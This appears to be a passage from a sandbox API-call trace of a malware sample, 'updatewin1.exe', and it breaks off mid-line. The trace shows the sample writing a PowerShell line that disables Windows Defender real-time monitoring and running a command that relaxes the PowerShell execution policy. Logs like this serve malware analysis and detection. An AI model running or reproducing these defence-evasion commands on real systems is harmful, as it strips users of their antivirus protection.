4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x84\xde\xd4\xac\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x5ea0d8 [0052.684] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe")) returned 0x5f [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xdc) returned 0x5ec168 [0052.684] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0052.684] GetLastError () returned 0x0 [0052.684] SetLastError (dwErrCode=0x0) [0052.684] GetEnvironmentStringsW () returned 0x5ec250* [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xaca) returned 0x5ecd28 [0052.684] FreeEnvironmentStringsW (penv=0x5ec250) returned 1 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x98) returned 0x5ec250 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3e) returned 0x5ec2f0 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6c) returned 0x5ec338 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6e) returned 0x5ec3b0 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x78) returned 0x5d1188 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x62) returned 0x5ec428 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d52d8 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5ec498 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x28) returned 0x5ea160 [0052.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1a) returned 0x5ebd18 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4a) returned 0x5ec4e8 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x72) returned 0x5d1208 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5310 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d5348 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1c) returned 0x5ebd40 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd2) returned 0x5ec540 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x7c) returned 0x5ec620 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5ec6a8 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3a) returned 0x5ec6e8 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x90) returned 0x5ec730 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5ec7c8 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5380 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5ec7f8 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5ec838 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x5ec888 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5ed818 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x82) returned 0x5ec8e8 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d53b8 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x5ebd68 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2c) returned 0x5d53f0 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x5ec978 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x5ec9d8 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x5d5428 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5ed860 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x5eca38 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5eca98 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5460 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x8c) returned 0x5ecac8 [0052.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ecd28 | out: hHeap=0x5c0000) returned 1 [0052.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x5ecb60 [0052.685] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.685] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0052.685] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0052.686] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" --Admin" [0052.686] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" --Admin", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x5ed368*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" [0052.686] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18d8ec | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0052.692] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="script.ps1" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1") returned 1 [0052.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\script.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8 [0052.693] lstrcpyA (in: lpString1=0x18e0ec, lpString2="Set-MpPreference -DisableRealtimeMonitoring $true" | out: lpString1="Set-MpPreference -DisableRealtimeMonitoring $true") returned="Set-MpPreference -DisableRealtimeMonitoring $true" [0052.693] lstrlenA (lpString="Set-MpPreference -DisableRealtimeMonitoring $true") returned 49 [0052.693] WriteFile (in: hFile=0xa8, lpBuffer=0x18e0ec*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x18d8e8, lpOverlapped=0x0 | out: lpBuffer=0x18e0ec*, lpNumberOfBytesWritten=0x18d8e8*=0x31, lpOverlapped=0x0) returned 1 [0052.694] CloseHandle (hObject=0xa8) returned 1 [0052.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x5eecd8 [0052.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x5eed50 [0052.695] SetLastError (dwErrCode=0x0) [0052.695] lstrcpyW (in: lpString1=0x18d4e0, lpString2="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" | out: lpString1="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned") returned="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" [0052.695] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d498*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d488 | out: lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessInformation=0x18d488*(hProcess=0xa4, hThread=0xa8, dwProcessId=0xb48, dwThreadId=0xb4c)) returned 1 [0052.708] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.794] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.797] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.814] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.829] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.843] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.858] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.875] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.897] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.905] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.930] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.942] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.951] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.257] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.269] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.281] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.305] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.310] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.328] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.341] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.388] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.404] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.419] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.435] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.451] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.466] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.482] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.497] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.513] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.528] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.545] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.560] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.576] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.591] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.607] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.626] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.653] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.670] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.685] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.701] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.728] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.731] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.761] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.768] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.782] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.796] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.810] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.835] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.841] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.857] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.877] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.888] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.910] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.920] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.934] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.951] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.965] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.981] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.999] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.023] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.028] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.107] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.122] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.137] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.154] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.168] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.183] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.200] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.215] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.231] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.481] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.496] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.512] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.537] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.542] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.558] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.579] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.589] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.605] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.620] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.657] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.668] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.694] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.698] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.714] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.730] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.745] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.778] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.812] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.823] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.839] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.879] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.886] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.905] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.917] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.945] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.948] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.964] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.979] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.041] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.057] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.073] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.101] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.104] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.120] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.148] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.151] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.169] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.213] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.260] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.276] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.291] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.307] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.323] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.338] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.354] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.369] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.385] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.400] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.416] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.432] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.447] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.463] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.479] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.495] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.510] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.530] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.542] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.559] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.572] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.589] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.614] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.619] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.637] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.683] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.729] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.744] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.760] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.776] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.790] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.806] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.823] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.837] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.853] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.869] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.886] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.911] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.916] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.931] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.960] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.963] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.010] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.056] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.071] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.087] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.102] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.118] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.134] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.149] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.165] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.181] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.196] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.211] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.227] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.243] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.259] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.274] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 